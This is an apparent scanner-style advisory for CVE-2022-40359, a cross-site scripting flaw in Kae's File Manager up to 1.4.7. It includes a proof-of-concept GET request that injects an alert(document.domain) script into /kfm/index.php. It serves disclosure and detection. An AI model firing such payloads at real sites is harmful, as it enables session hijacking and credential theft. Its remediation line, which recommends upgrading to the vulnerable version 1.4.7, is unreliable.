| Title | Kae's File Manager <=1.4.7 - Cross-Site Scripting |
|---|---|
| Author | edoardottt,daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to the latest version of Kae's File Manager plugin (1.4.7) or apply the vendor-provided patch to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.12355 |
| CVE ID | CVE-2022-40359 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 xss kfm kfm_project vuln |
Kae’s File Manager through 1.4.7 contains a cross-site scripting vulnerability via a crafted GET request to /kfm/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks
GET /kfm/index.php/%27%3Cscript%3Ealert%28document.domain%29;%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:30.0) Gecko/20100101 Firefox/30.0
Connection: close
Accept-Encoding: gzip
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